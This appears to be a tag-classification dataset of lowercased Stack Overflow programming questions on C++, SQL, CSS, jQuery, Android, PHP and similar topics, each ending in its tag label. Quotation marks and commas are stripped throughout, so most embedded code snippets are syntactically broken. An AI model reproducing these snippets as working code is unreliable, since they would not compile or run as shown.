: undefined reference to `testclass::sum()  <pre><code>#include&lt;iostream&gt; using namespace std;  class testclass { public:     int sum();     //postcondition: returns the sum of the      //               private data members.     void print();     //prints the values of the private data members.     testclass();     //default constructor     //postcondition: x = 0; y = 0;     testclass(int a  int b);     //constructor with parameters     //initializes the private data members to the     //values specified by the parameters.     //postconditon: x = a; y = b private:     int x;     int y; };  int sum()  {     int a  b  total;     total = a + b;     return total; }  void print() {     cout&lt;&lt;  sum =   &lt;&lt; sum() &lt;&lt; endl; } testclass::testclass() {     x = 0;     y = 0; }  testclass::testclass(int a  int b) {     x = a;     y = b; } </code></pre>   this program compiles 100% okay but when i run it i get the following errors: --------------------configuration: mingw5 - cui debug  builder type: mingw--------------------    checking file dependency... linking... [error] c:\dev-cpp\malikchapter1\exercise14.cpp:56: undefined reference to <code>testclass::sum()  [error] c:\dev-cpp\malikchapter1\exercise14.cpp:58: undefined reference to</code>testclass::print()  [error] collect2: ld returned 1 exit status    complete make exercise14: 3 error(s)  0 warning(s)   <pre><code>int main() {     int m  n;     testclass mysum;     testclass myprint;     mysum.sum();      myprint.print(); } </code></pre>   this is an example program from: malik  data structures using c++,c++
how can i process my own custom binary file in windows 7   i have a .net application called processor.exe - i have it setup so that if a user double clicks on file.myfile (the extension for my custom file is *.myfile) the file gets processed by processor.exe.    as it turns out  file.myfile gets passed to processor.exe as the first argument. so all i can do is just pass the contents of file.myfile to processor.exe.    instead  i would like to be able to process it as it s own file. so i can add switches and parameters to it.    processor.exe is going to be a custom scripting system. and *.myfile is the file extension for the scripts it runs.    everyone know  that java and .net binaries run like that. i would like to do the same thing  except i m creating more of a binary scripting system. for now i just want it to process text lines  but i want to be able to run them with parameters.    how can i set this up     i am using c# and vb.net to create this. any help would be great!    update:    i create a small application called processor.exe if you double click it  it does nothing. so i setup a file association in windows 7 for *.myfile files. when double clicking a *.myfile it runs processor.exe which as i said does nothing. however  processor.exe takes the data which is text lines from *.myfile and reads it into an array of strings. so now processor.exe is ready to run the text lines as a script. simple enough and it works. however  i would like to extend this. i would like to be able to edit the *.myfile properties and change it for example to this ->  script.myfile /test . notice i added the /test switch. so from now on when the user double clicks script.myfile  ... it will run the script in a not yet written test mode. you know of course  you can t do that to non executable files. windows 7 does not let you change the properties and why should it  since it runs a binary (processor.exe) which can have it s own switches. so basically i would like to know  how a system like .net or java creates binaries  so i can setup my own! for now my scripts are text based  but i m learning more in depth language lessons and shortly  i will want to change this to be a binary format. so script.myfile will be a binary file like a *.exe. can you help me with this,.net
showing dynamically generated bitmap in asp.net page  i need to create some block diagrams on my asp.net page. is it best done by drawing on <a href= http://msdn.microsoft.com/en-us/library/system.drawing.bitmap.aspx  rel= nofollow ><code>bitmap</code></a>  how to display this dynamically generated <code>bitmap</code> object,asp.net
updating two tables we getting duplicates  i have two tables like     <code>emp</code>:   <pre><code>id  name sal deptno ------------------- 1    a    x   10 2    b    x   20 3    c    x   20 </code></pre>   <code>dept</code>:   <pre><code>id sal deptno ------------- 1  100 10 2  200 20 3  300 20 </code></pre>   here i want to update <code>sal</code> column in <code>emp</code> table   <pre><code>update emp set sal = d.sal from emp as e left join dept as d on e.deptno = d.deptno </code></pre>   after executing that query i am getting   <pre><code>id name sal deptno ------------------ 1  a    100 10 2  b    200 20 3  c    200 20 </code></pre>   but i want   <pre><code>id name sal deptno ------------------ 1   a   100 10 2   b   200 20 3   c   300 20 </code></pre>,sql
understanding __getitem__ method  i have gone through most of the documentation of <code>__getitem__</code> in the python docs and also in stackoverflow so this is not a duplicate question. but i am still unable to grasp the meaning of it.    so all i can understand is that <code>__getitem__</code> is used to implement calls like <code>self[key]</code>. but what is the use of it     lets say i have a python class defined in this way:   <pre><code>class person:     def __init__(self name age):         self.name = name         self.age = age      def __getitem__(self key):         print ( inside `__getitem__` method! )         return getattr(self key)  p = person( subhayan  32) print (p[ age ]) </code></pre>   this returns the results as expected. but why use <code>__getitem__</code> in the first place  i have also heard that python calls <code>__getitem__</code> internally. but why does it do it     can someone please explain this in more detail,python
c file with no #   suppose that you are give a single <code>c source file</code>  that contains a max. of 300 lines of code.     suppose also that the file  while implementing several functions  <strong>does not</strong> contain the character <strong> # </strong> in it (meaning  there are no <code>#include</code> statmements  and no other statements that have  #  in the file).     my question is  does the above <strong>guarantee</strong> that the file <strong>does not</strong> do any i/o  does it guarantee that the file <strong>will not</strong> be able to (say) erase the contents of the hard drive  or do other fishy things     (i am supposed to get 100-200 single <code>c</code> files  that (as mentioned) do not include the char <code>#</code> in them. i was asked to write a simple program that will <strong>programmatically</strong> check if a single <code>c source file</code> with no <code>#</code> is potentially involved in i/o  accessing to the network etc).    given the fact that no statements with <code>#</code> are allowed -- what is the worst code a coder can include in such a <code>c</code> file to potentially damage the system of the one who runs it      i <strong>know</strong> that no check will yield 100% accuracy -- but am interested <em>at least</em> to do some basic checks that will raise a red flag if some expressions / keywords are found. any ideas of what to look for,c
how to implement touchxml parser   i have implemented demo using touchxml parser.its working fine.but i want to parse xml like below.    example:   <pre><code>&lt;root> &lt;tag1>&lt;/tag1> &lt;tag2>       &lt;temp1>&lt;/temp1>       &lt;temp2>&lt;/temp2>       &lt;temp3>&lt;/temp3> &lt;/tag2> &lt;tag3>&lt;/tag3>  &lt;/root> </code></pre>   how to parse this type of example,iphone
sort array after number of element instances  consider this array.    <pre><code>[1  2  2  2  3  4  4  5]  </code></pre>   i would like to sort this array in the order of <strong>how many times a certain element value exist</strong>.  so in the case above the value <code>2</code> exist three times  therefore these should come first. followed by the two instances of <code>4</code>  and then last <code>1  3  5</code>.    <pre><code>[2  2  2  4  4  1  3  5]  </code></pre>,javascript
how to make the navigation bar title to scroll automatically if it is too long   for example  there is a navigation bar title named  xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  it is too long to show it completely.so i want to let it show by scrolling. is there has one method to make it successful,ios
iis root path vs path of virtual directory  i am using code that will get the root path   <pre><code>return httpcontext.current.server.mappath(@ \schedules\ ); </code></pre>   this works great when my site is installed as a fully fledged web app. but when its installed as a virtual directory it breaks  because it is looking for files in root folder  and not in \virtualdirectorypath folder.      is there a way i can change the code to look for files from the virtual directory root  but also so it won t break if the app is installed as a fully fledged website,asp.net
given series of integers  provide the kth largest number  please help me in finding out what s wrong with my algo2() function. the process for the algorithm 2 are the following:   <ul> <li>read n numbers into a vector</li> <li>sort the vector elements in decreasing order</li> <li>each remaining element is read one by one</li> <li>as a new element arrives  it is ignored if it is smaller than the kth element in the vector</li> <li>else  it will be place in its correct spot in the array bumping one element out of the vector</li> <li>at the end  the element in the kth position will be printed</li> </ul>   i ve tried all i could; but every time i execute the algo2() function it simply stops executing. your help would be very appreciated. thank you.   <pre><code>    #include &lt;iostream&gt;     #include &lt;stdlib.h&gt;     #include &lt;math.h&gt;     #include &lt;vector&gt;      using namespace std;      vector&lt;int&gt; input()     {         vector&lt;int&gt; nums;         int input;          cout &lt;&lt;  please enter some integers (type 12345 to end):\n ;         do          {             cin &gt;&gt; input;             nums.push_back(input);         }         while(input!=12345);         nums.pop_back(); //omits terminator value from the vector          return nums;     }      vector&lt;int&gt; sorter(vector&lt;int&gt; nums int ilan)     {         int index ctr;         for(ctr=1;ctr&lt;=pow((ilan-1) 2);ctr++)         {             for(index=1;index&lt;ilan;index++)             {                 if(nums[index]&gt;nums[index-1])                 {                     nums[index]+=nums[index-1];                     nums[index-1]=nums[index]-nums[index-1];                     nums[index]-=nums[index-1];                 }             }         }         return nums;     }      void cardinal(int k)     {         if(k==11||k==12||k==13)             cout &lt;&lt;  th ;         else         {             while(k&gt;10)             {                 k=k%10;             }             switch(k)             {                 case 1: {cout &lt;&lt;  st ; break;}                 case 2: {cout &lt;&lt;  nd ; break;}                 case 3: {cout &lt;&lt;  rd ; break;}                 default: cout &lt;&lt;  th ;             }         }     }      void output(vector&lt;int&gt; nums int k)     {         cout &lt;&lt;  the   &lt;&lt; k;         cardinal(k);         cout &lt;&lt;   largest number is   &lt;&lt; nums[k-1];     }      void algo2(vector&lt;int&gt; nums int k)     {         int index;         int cursor;         nums = sorter(nums k);         for(cursor=k;cursor+1&lt;nums.size();)         {             if(nums[k-1]&lt;nums[cursor])             {                 for(index=0;index&lt;(k-1);index++)                 {                     if(nums[cursor]&gt;nums[index])                     {                         nums.insert(nums.begin()+index nums[cursor]);                         if(k+2==nums.size())                             nums.erase(nums.begin()+k+1);                         else                             nums.erase(nums.begin()+k nums.begin()+k+1);                         break;                     }                    }             }             else             {                 nums.erase(nums.begin()+cursor);                 break;             }         }         output(nums k);     }      int main()     {         vector&lt;int&gt; nums;         int choice=0  k=0;          cout &lt;&lt;  type the algorithm number you ll use (1 or 2):  ;         cin &gt;&gt; choice;         cout &lt;&lt;  input k:  ;         cin &gt;&gt; k;          //algorithm 1         if(choice==1)         {             nums = input();             nums = sorter(nums nums.size());             output(nums k);         }         //algorithm 2         else if(choice==2)         {             nums = input();             algo2(nums k);         }          cout &lt;&lt; endl &lt;&lt; endl;         system( pause );         return 0;     } </code></pre>,c++
show div on hover of embeded div  i m trying to display div.overlay on hover of embedded div.box   <pre><code>div.overlay {padding:5px; background:#f00; width:100px; visibility: hidden;} div.box {display:block; background:#ff0; width:100px; visibility:visible;} div.box:hover div.overlay { visibility: visible;}  &lt;div class= overlay &gt; &lt;div class= box &gt;info about a game&lt;/div&gt; play &lt;/div&gt; </code></pre>   thanks for any hint,css
mysql if select is my id don t return any rows  i have a bids table  id  sellerid  buyerid  notifid amount .... if my id (sellerid) exists and doesn t exist for a notifid i don t want to return any rows so my sellerid is 50001 and i have bid on notifid 1260  return no result  thats fine i can do that  but it will return the row for sellerid 1442 with same notifid. i don t want to return anything if my id exists for any row with the same notifid hope that s as clear as mud.   <pre><code>select n.notifid  n.senderid  n.sellertypeid  n.subject  ur.model  n.message  n.firstname  n.lastname  n.email  n.days  n.created_date  date_add( n.created_date  interval n.days day ) as   dateexpires   n.requestid  ur.subcategoryid  ur.item  ur.addressstreet  ur.addresscity  ur.addressstate  ur.addresszip  ur.addressalt  ur.tvscreen  ur.tvtype  ur.tvmount  ur.dvdregion  ur.dvdusb  ur.soundtype  ur.soundwireless  ur.createddate              ur.gametype  ur.fridgesize  ur.fridgeheight  ur.fridgewidth  ur.fridgedepth  ur.fridgetype  ur.fridgeexterior              ur.washsize  ur.washheight  ur.washwidth  ur.washdepth  ur.washtype  ur.washexterior  datediff( date_add( n.created_date  interval n.days day )   now( )+ interval 0 hour ) as daysleft  timestampdiff( hour   now( )+ interval 0 hour   date_add( n.created_date  interval n.days day ) ) as hoursleft  timestampdiff( minute   now( )+ interval 0 hour   date_add( n.created_date  interval n.days day ) ) as minutesleft  u.phonenumber  ur.hasbid  ur.numitems  ur.electricity  ur.gas  ur.solar  ur.concession  ur.phone  b.amount  coalesce(b.bidaccepted  0) as bidaccepted  b.amount  b.powercents  b.powerfee  b.powerdiscount  b.gascents  b.gasfee  b.gasdiscount  b.additionalinfo  coalesce(b.islowestbid  0) as islowestbid  uri.imagename  ura.filename  ih.address as homeinsaddress  ih.built  ih.propertyvalue  ih.dwelling  ih.insurance  ih.moving  ih.owner  ih.previousclaimselected as homeclaimselected  ih.previousclaim as homeclaim  ih.requiredby as homeinsrequiredby  ic.registration  ic.carmake  ic.carmodel  ic.caryear  ic.carfinance  ic.damage  ic.insured  ic.insurername  ic.modifications  ic.modsvalue  ic.nonstandard  ic.theftdevice  ic.gender  ic.garaged  ic.address as caraddress  ic.instype  ic.usetype  ic.usefor  ic.age  ic.dob  ic.licenceyear  ic.estvalue  ic.previousclaimselected  ic.previousclaim  ic.licencesuspended  ic.additionaldrivers  ic.requiredby as carinsrequiredby  ip.petname  ip.petbreed  ip.petdesexed  ip.petgender  ip.pettype  ip.petborn  ip.petrequiredby  ip.petestvalue  ip.previousclaimselected as petclaimselected  ip.previousclaim as petclaim   h.address as healthaddress  h.covered  h.coverfor  h.income  h.rebate  h.yearbirth  h.requiredby as healthrequiredby  h.preexisting  h.healthprimary  ur.categoryid  ur.subcategoryid  f.id as flightid  f.class  f.departure  f.departuredate  f.destination  f.oneway  f.passengers  f.adults  f.children  f.cheapestfare  f.stopovers  f.departuretime  f.layover  f.numnights  f.rating  f.details  f.returndate  hc.id as hirecarid  hc.driverage  hc.dropoffdatetime  hc.dropofflocation  hc.pickup  hc.pickupdatetime  hc.purpose  hc.vehicletype  c.id as cameraid  c.cameratype  c.camerabrand  c.compacttype  c.touchscreen  c.tiltable  c.wifi  c.waterproof  c.memorycard  c.externalflash  c.cameracase  c.extrabattery  c.details as cameradetails  coalesce(r.id  0) as ratingid  tt.taxitype from notifications n left outer join users u on u.id = n.senderid left outer join user_request ur on ur.id = n.requestid  left outer join bids b on b.notifid = n.notifid left outer join user_request_images uri on b.sellerid = uri.userid left outer join user_request_attachments ura on b.sellerid = ura.userid  left outer join insurance_home ih on ur.id = ih.requestid left outer join insurance_car ic on ur.id = ic.requestid left outer join insurance_pets ip on ur.id = ip.requestid left outer join insurance_health h on ur.id = h.requestid left outer join recreation_flights f on ur.id = f.requestid left outer join recreation_hirecar hc on ur.id = hc.requestid left outer join ratings r on ur.id = r.requestid left outer join taxi_types tt on ur.taxitypeid = tt.taxitypeid left outer join camera c on ur.id = c.requestid where  (n.sellertypeid = sellertypeid and coalesce(b.bidaccepted  0) = bidswon     and (find_in_set(ur.subcategoryid  _subcategories) ) </code></pre>   and not exists             (             select  null             from    notification_hide nh             where   nh.notifid = n.notifid and nh.sellerid = sellerid             ))   <pre><code>    and timestampdiff( second   now( )+ interval 0 hour   date_add( n.created_date  interval n.days     day ) ) &gt; -0 group by n.notifid order by hoursleft asc </code></pre>   <a href= https://i.stack.imgur.com/tuvkm.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/tuvkm.png  alt= bids table ></a>,mysql
calling 2 different views in controller rails  i have 2 versions of the same pages in my rails app and i would like for them to alternately load when the same page is called.     so for example: on page load index view comes up. on reload or refresh the alt_index page loads. how can i accomplish this  i am sure it can be accomplished in a controller action but not sure how.   <pre><code>class comingsooncontroller &lt; applicationcontroller  def index    render( alt_index  ||  index )  end  end </code></pre>   this only renders the alt_index page i need it to alternate.,ruby-on-rails
best way to get context in android for long running non activity class   as i see it i have two options:    1) pass the activity context in the constructor:    <pre><code>public method(context context){      mcontext = context } </code></pre>   2) use a static application context that i can access from anywhere:   <pre><code>public class app extends application{  private static context mcontext;  @override public void oncreate() {     super.oncreate();     mcontext = this; }  public static context getcontext(){     return mcontext; } </code></pre>   }    which one do people think is best  also does it make a difference if you are calling the non activity class from a broadcastreceiver  that lasts a long time  ie -> mainactivity calls a broadcast receiver that logs gps every 5 min  continuously. this broadcast receiver then calls the non-activity. in this scenario  could main activity be garbage collected whilst the broadcast receiver keeps running  and thus if you pass context from main  to broadcast  and then to the non activity class  at some point hours  days or weeks in the future  might the non-activity class attempt to use the context  and find it has been garbage collected and is now null,android
mark usercontrol as obsolete  we have a asp.net framework which is used by different teams. in our framework we have an email user control which must be placed obsolete. the control has been rewritten as webcontrol.    can i make the usercontrol obsolete  i tried putting the obsolete attribute on the class name itself   <pre><code>&lt;obsolete( this usercontrol is obsolte. use the web control atamail )&gt; _ partial public class ucatamail    inherits system.web.ui.usercontrol    ... </code></pre>   but this doesn t show with the teams when they reference the control on their aspx page. maybe there are other solutions     thanks.,asp.net
adjust the height of the  div s  according to the container  how can i do to make the  div-3  in the container are adjusted for the height that this has.     i need the fit the high  div-3  left by div s 1 and 2  no matter what the content of this div-3 incomplete.    it may be that the div 1 or div 2 are not display (display:none).    html code:   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=iso-8859-1  /&gt; &lt;title&gt;&lt;/title&gt; &lt;style&gt; .container{     height:300px;     overflow:hidden;     width:500px; } .container div{ } .div-1{     background-color:#009966; } .div-2{     background-color:#999999; } .div-3{     background-color:#3399ff; }  &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;div class= container &gt;     &lt;div class= div-1 &gt;g f erg erg erg rga f erg erg erg rga&lt;/div&gt;     &lt;div class= div-2 &gt;         sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sf erg erg erg rgadf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;sdf&lt;br /&gt;     &lt;/div&gt;     &lt;div class= div-3 &gt;b gf erg erg erg rga&lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,css
c# - compute total hours between 8:00 to 2:00 and 8:00 to 12:00  here s my code   <pre><code>datetime timein =  8:00 am            timeout= 2:00 am ; double total;  private void compute() {     total = (timeout - timein).totalhours; } </code></pre>   <code>8:00am to 2:00am</code> should result <code>18 hours</code>.but mine is resulting <code>-7</code> another problem is when i typed <code>24:00</code> as time out c# couldn t recognize it as time.    it works properly when the <code>timeoout</code> is less than <code>12:00am</code>. like <code>11:59pm</code> backwards. <code>(eg.: 11:30pm - 8:00am)</code> it computes properly.    please help.,c#
mysql execute queries with multiple time intervals  i have the following query   <pre><code>select channel_type          avg(delay_in_seconds)  from   a_table  where  started_at between  2014-10-17 00:00:00  and  2014-10-17 23:59:59   group  by channel_type;  </code></pre>   currently if i wanted to run this query on a one week interval for the past 10 weeks i would need to run 10 separate queries and manually change the intervals. what would be a more elegant way of doing this,mysql
limit the length of textview <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3285412/limit-text-length-of-edittext-in-android >limit text length of edittext in android</a>    </blockquote>     i am a textview on activity  which is being displayed as per the parameter it is receiving from the json response  i need to restrict it to 12 characters only.   <pre><code>&lt;textview     android:id= @+id/textviewname      android:layout_width= wrap_content      android:layout_height= wrap_content      android:layout_below= @+id/includeheadersetting      android:layout_marginleft= 20dp      android:layout_margintop= 20dp      android:gravity= center      android:text= name      android:textcolor= #000000      android:textstyle= bold  /&gt; </code></pre>,android
css select:disabled not working  i have next function:    <pre><code>changestateselect() {     if ($( #idasignaturaglobal ).prop( checked )) {         $( #idasignatura ).prop( disabled   true);         $( #idasignatura ).prop( required   false);     } else {         $( #idasignatura ).prop( disabled   false);         $( #idasignatura ).prop( required   true);     } } </code></pre>   and next css:    <pre><code>.form-horizontal select:disabled {     cursor: not-allowed !important;     background-color: red !important;     border-color: red !important; } </code></pre>   but it is not working. i tryed it adding it into the function with .css but neither... i do not understand why it happening this... why could it be . thank you.    edit: this is my html code (is react js + bootstrap)   <pre><code>&lt;form role= form  class= form-horizontal text-center  method= get  action=  &gt;     &lt;fieldset class= scheduler-border &gt;      &lt;div class= form-group &gt;                     &lt;label for= idasignatura  class= control-label col-xs-12 col-sm-2 col-md-2 col-lg-2 label-select2 &gt;asignatura: &lt;/label&gt;                     &lt;div class= col-xs-12 col-sm-10 col-md-10 col-lg-10 &gt;                         &lt;select name= nasignatura  id= idasignatura  class= js-states form-control select2  required&gt;&lt;/select&gt;                     &lt;/div&gt;                 &lt;/div&gt;      &lt;div class= checkbox checkbox-primary &gt;                     &lt;input type= checkbox  name= nasignaturaglobal  id= idasignaturaglobal  onchange={this.changestateselect} value= true /&gt;                     &lt;label for= idasignaturaglobal &gt;                         incidencia con la asignatura                     &lt;/label&gt;                 &lt;/div&gt; &lt;/fieldset&gt; &lt;/form&gt; </code></pre>,css
jquery: how to only apply click function to elements in the current div   i have multiple divs called <code>.details</code>  and i want to apply the following click functions to them. but right now if i click on one li  all li s with the same class names change throughout all the divs called <code>.details</code>. how do i only apply the click function to the current <code>.details</code> div    <pre><code>$(document).ready(function() {     $( .details div.two ).hide();     $( .details div.three ).hide();       $( .details ul li.one ).click(function () {          $(this).addclass( active );         $( .details ul li.two ).removeclass( active );         $( .details ul li.three ).removeclass( active );         $( .details div.one ).show();         $( .details div.two ).hide();         $( .details div.three ).hide();      });     $( .details ul li.two ).click(function () {          $(this).addclass( active );         $( .details ul li.one ).removeclass( active );         $( .details ul li.three ).removeclass( active );         $( .details div.one ).hide();         $( .details div.two ).show();         $( .details div.three ).hide();      });     $( .details ul li.three ).click(function () {            $(this).addclass( active );         $( .details ul li.one ).removeclass( active );         $( .details ul li.two ).removeclass( active );         $( .details div.one ).hide();         $( .details div.two ).hide();         $( .details div.three ).show();      }); }); </code></pre>   html   <pre><code>&lt;div class= details &gt;     &lt;ul&gt;         &lt;li class= one active &gt;&lt;span&gt;nav 1&lt;/span&gt;&lt;/li&gt;         &lt;li class= two &gt;&lt;span&gt;nav 2&lt;/span&gt;&lt;/li&gt;         &lt;li class= three &gt;&lt;span&gt;nav 3&lt;/span&gt;&lt;/li&gt;     &lt;/ul&gt;     &lt;div class= one &gt;         &lt;p&gt;content 1&lt;/p&gt;     &lt;/div&gt;     &lt;div class= two &gt;         &lt;p&gt;content 2&lt;/p&gt;     &lt;/div&gt;     &lt;div class= three &gt;         &lt;p&gt;content 3&lt;/p&gt;     &lt;/div&gt;                                                                           &lt;/div&gt;                           </code></pre>   css   <pre><code>.active {background:#fff;} </code></pre>,jquery
sql query but eliminate some records based on another query  i can loop through the table produced by the following query   <pre><code>select userid_fk as id  courseid_fk  from tbl_usercourse  inner join tbl_users          on user_id=userid_fk  where courseid_fk=5 </code></pre>   and then get rid of some records where the following sql results in empty (i have to pass in the $user_id).  i can do this on a web page using php using this query.   <pre><code>select min(schdate) as min  from tbl_schedule  where userid_fk= .$user_id.     and schdate&gt;getdate()     and courseid_fk=5 </code></pre>   but now i m wondering if i can combine these two sql statement somehow and just use one query statement.  if so  how would i do this,sql
how to upload image with reduced size  i am using asp.net fileupload control for uploading  image but here i want to automatically re size to 250*200px. please suggest me what to add in my code. i am a novice to asp.net.   <pre><code>protected void button1_click(object sender  eventargs e)         {   string s =@ ~\img\ +fileupload1.filename;             fileupload1.postedfile.saveas(server.mappath(s));             } </code></pre>,asp.net
dining philosophers implementation  i m just wondering if this all there is to solving the dining philosophers problem in java     <pre><code>import java.util.concurrent.locks.lock; import java.util.concurrent.locks.reentrantlock;  public class mainclass {  public static void main(string[] args) {     lock forks[] = new reentrantlock[5];      for(int i = 0; i&lt;5; i++){         forks[i] = new reentrantlock();      }      thread p1 = new thread(new philosopher(forks[4]  forks[0]   first ));     thread p2 = new thread(new philosopher(forks[0]  forks[1]   second ));     thread p3 = new thread(new philosopher(forks[1]  forks[2]   third ));     thread p4 = new thread(new philosopher(forks[2]  forks[3]   fourth ));     thread p5 = new thread(new philosopher(forks[3]  forks[4]   fifth ));      p1.start();     p2.start();     p3.start();     p4.start();     p5.start();    } } </code></pre>   and my philosopher class:   <pre><code>import java.util.concurrent.locks.lock; import java.util.concurrent.locks.reentrantlock;  public class philosopher implements runnable {  lock leftfork = new reentrantlock(); lock rightfork = new reentrantlock(); string name;   public philosopher(lock leftfork  lock rightfork  string name) {     this.leftfork = leftfork;     this.rightfork = rightfork;     this.name = name;  }  @override public void run() {      while(true){     think(name);     eat(leftfork  rightfork  name);      } }  private void eat(lock leftfork  lock rightfork  string name){     leftfork.lock();     rightfork.lock();       system.out.println(name +   eating... );      try {         thread.sleep(3000);     } catch (interruptedexception e) {         // todo auto-generated catch block         e.printstacktrace();     }      finally{         leftfork.unlock();         rightfork.unlock();          system.out.println(name +   done eating... );     } }  private void think(string name){     system.out.println(name +   thinking... );      try {         thread.sleep(100);     } catch (interruptedexception e) {         // todo auto-generated catch block         e.printstacktrace();     }  }  } </code></pre>   it feels like there should be more..code. but i ve run the program and it does what the problem is asking me to solve. only two philosophers are eating at any one time  other wise they are thinking.     do i have this right,java
how to get summary of the method   is it possible to get in .net summary data somehow    <pre><code> /// &lt;summary&gt;  /// i need to get it programatically  /// &lt;/summary&gt;  private void methoda()  {  } </code></pre>,.net
three20 framework in iphone sdk  i want to know how to use the three20 frame work in my project i want to create a image gallery for my app.please give a correct method of  adding  three20 to my project.,iphone
how to fetch yahoo weather api json response in php  i am using yahoo weather api   i need to display the following info in my website    current temperature = (in celsius)(i.e [item] [ condition ] [ temp ])    mostly cloudy (i.e [item] [ condition ] [ text ])   <pre><code>&lt; php     $base_url =  http://query.yahooapis.com/v1/public/yql ;      $yql_query =  select * from weather.forecast where woeid in (select woeid from geo.places(1) where text= amaravathi ) ;     $yql_query_url = $base_url .   q=  . urlencode($yql_query) .  &amp;format=json ;      // make call with curl     $session = curl_init($yql_query_url);     curl_setopt($session  curlopt_returntransfer true);     $json = curl_exec($session);     // convert json to php object     $phpobj =  json_decode($json);     echo  &lt;pre&gt; ;print_r($phpobj). &lt;pre&gt; ;     &gt; </code></pre>   this is the json response   <pre><code>stdclass object (     [query] =&gt; stdclass object         (             [count] =&gt; 1             [created] =&gt; 2015-07-10t09:34:14z             [lang] =&gt; en-us             [results] =&gt; stdclass object                 (                     [channel] =&gt; stdclass object                         (                             [title] =&gt; yahoo! weather - amaravathi  in                             [link] =&gt; http://us.rd.yahoo.com/dailynews/rss/weather/amaravathi__in/*http://weather.yahoo.com/forecast/inxx0171_f.html                             [description] =&gt; yahoo! weather for amaravathi  in                             [language] =&gt; en-us                             [lastbuilddate] =&gt; fri  10 jul 2015 11:30 am ist                             [ttl] =&gt; 60                             [location] =&gt; stdclass object                                 (                                     [city] =&gt; amaravathi                                     [country] =&gt; india                                     [region] =&gt; ka                                 )                              [units] =&gt; stdclass object                                 (                                     [distance] =&gt; mi                                     [pressure] =&gt; in                                     [speed] =&gt; mph                                     [temperature] =&gt; f                                 )                              [wind] =&gt; stdclass object                                 (                                     [chill] =&gt; 81                                     [direction] =&gt; 230                                     [speed] =&gt; 7                                 )                              [atmosphere] =&gt; stdclass object                                 (                                     [humidity] =&gt; 70                                     [pressure] =&gt; 27.59                                     [rising] =&gt; 0                                     [visibility] =&gt; 6.21                                 )                              [astronomy] =&gt; stdclass object                                 (                                     [sunrise] =&gt; 6:03 am                                     [sunset] =&gt; 7:02 pm                                 )                              [image] =&gt; stdclass object                                 (                                     [title] =&gt; yahoo! weather                                     [width] =&gt; 142                                     [height] =&gt; 18                                     [link] =&gt; http://weather.yahoo.com                                     [url] =&gt; http://l.yimg.com/a/i/brand/purplelogo//uh/us/news-wea.gif                                 )                              [item] =&gt; stdclass object                                 (                                     [title] =&gt; conditions for amaravathi  in at 11:30 am ist                                     [lat] =&gt; 15.26                                     [long] =&gt; 76.35                                     [link] =&gt; http://us.rd.yahoo.com/dailynews/rss/weather/amaravathi__in/*http://weather.yahoo.com/forecast/inxx0171_f.html                                     [pubdate] =&gt; fri  10 jul 2015 11:30 am ist                                     [condition] =&gt; stdclass object                                         (                                             [code] =&gt; 28                                             [date] =&gt; fri  10 jul 2015 11:30 am ist                                             [temp] =&gt; 81                                             [text] =&gt; mostly cloudy                                         )                                      [description] =&gt;    current conditions:  mostly cloudy  81 f   forecast:  fri - cloudy. high: 83 low: 71  sat - am showers. high: 85 low: 70  sun - mostly cloudy. high: 87 low: 70  mon - mostly cloudy. high: 87 low: 70  tue - am showers. high: 88 low: 70    full forecast at yahoo! weather   (provided by the weather channel)                                       [forecast] =&gt; array                                         (                                             [0] =&gt; stdclass object                                                 (                                                     [code] =&gt; 26                                                     [date] =&gt; 10 jul 2015                                                     [day] =&gt; fri                                                     [high] =&gt; 83                                                     [low] =&gt; 71                                                     [text] =&gt; cloudy                                                 )                                              [1] =&gt; stdclass object                                                 (                                                     [code] =&gt; 39                                                     [date] =&gt; 11 jul 2015                                                     [day] =&gt; sat                                                     [high] =&gt; 85                                                     [low] =&gt; 70                                                     [text] =&gt; am showers                                                 )                                              [2] =&gt; stdclass object                                                 (                                                     [code] =&gt; 28                                                     [date] =&gt; 12 jul 2015                                                     [day] =&gt; sun                                                     [high] =&gt; 87                                                     [low] =&gt; 70                                                     [text] =&gt; mostly cloudy                                                 )                                              [3] =&gt; stdclass object                                                 (                                                     [code] =&gt; 28                                                     [date] =&gt; 13 jul 2015                                                     [day] =&gt; mon                                                     [high] =&gt; 87                                                     [low] =&gt; 70                                                     [text] =&gt; mostly cloudy                                                 )                                              [4] =&gt; stdclass object                                                 (                                                     [code] =&gt; 39                                                     [date] =&gt; 14 jul 2015                                                     [day] =&gt; tue                                                     [high] =&gt; 88                                                     [low] =&gt; 70                                                     [text] =&gt; am showers                                                 )                                          )                                      [guid] =&gt; stdclass object                                         (                                             [ispermalink] =&gt; false                                             [content] =&gt; inxx0171_2015_07_14_7_00_ist                                         )                                  )                          )                  )          )  ) </code></pre>,php
priority issues in css  sorry for the lack of precision in the title  i didn t really know what to write.    the html :   <pre><code>&lt;div id= blabla &gt;   hello   &lt;span class= red &gt;hello2&lt;/span&gt; &lt;/div&gt; </code></pre>   the css :   <pre><code>#blabla{   color: black; }  #blabla:hover{   color: white; }  .red{   color: red; } </code></pre>   i want the string  hello2  to go white when the mouse is over the div  blabla . in the current state  it stays red.    i ve tried anything i could think of and didn t manage to do it  i hope you can help me.     thanks.,css
how to select n number of rows in ms access  here is a table patients in ms access database  there is 20 records  i want to select first 0 10 records and after 11-20 records for pagination. how to solve this problem,.net
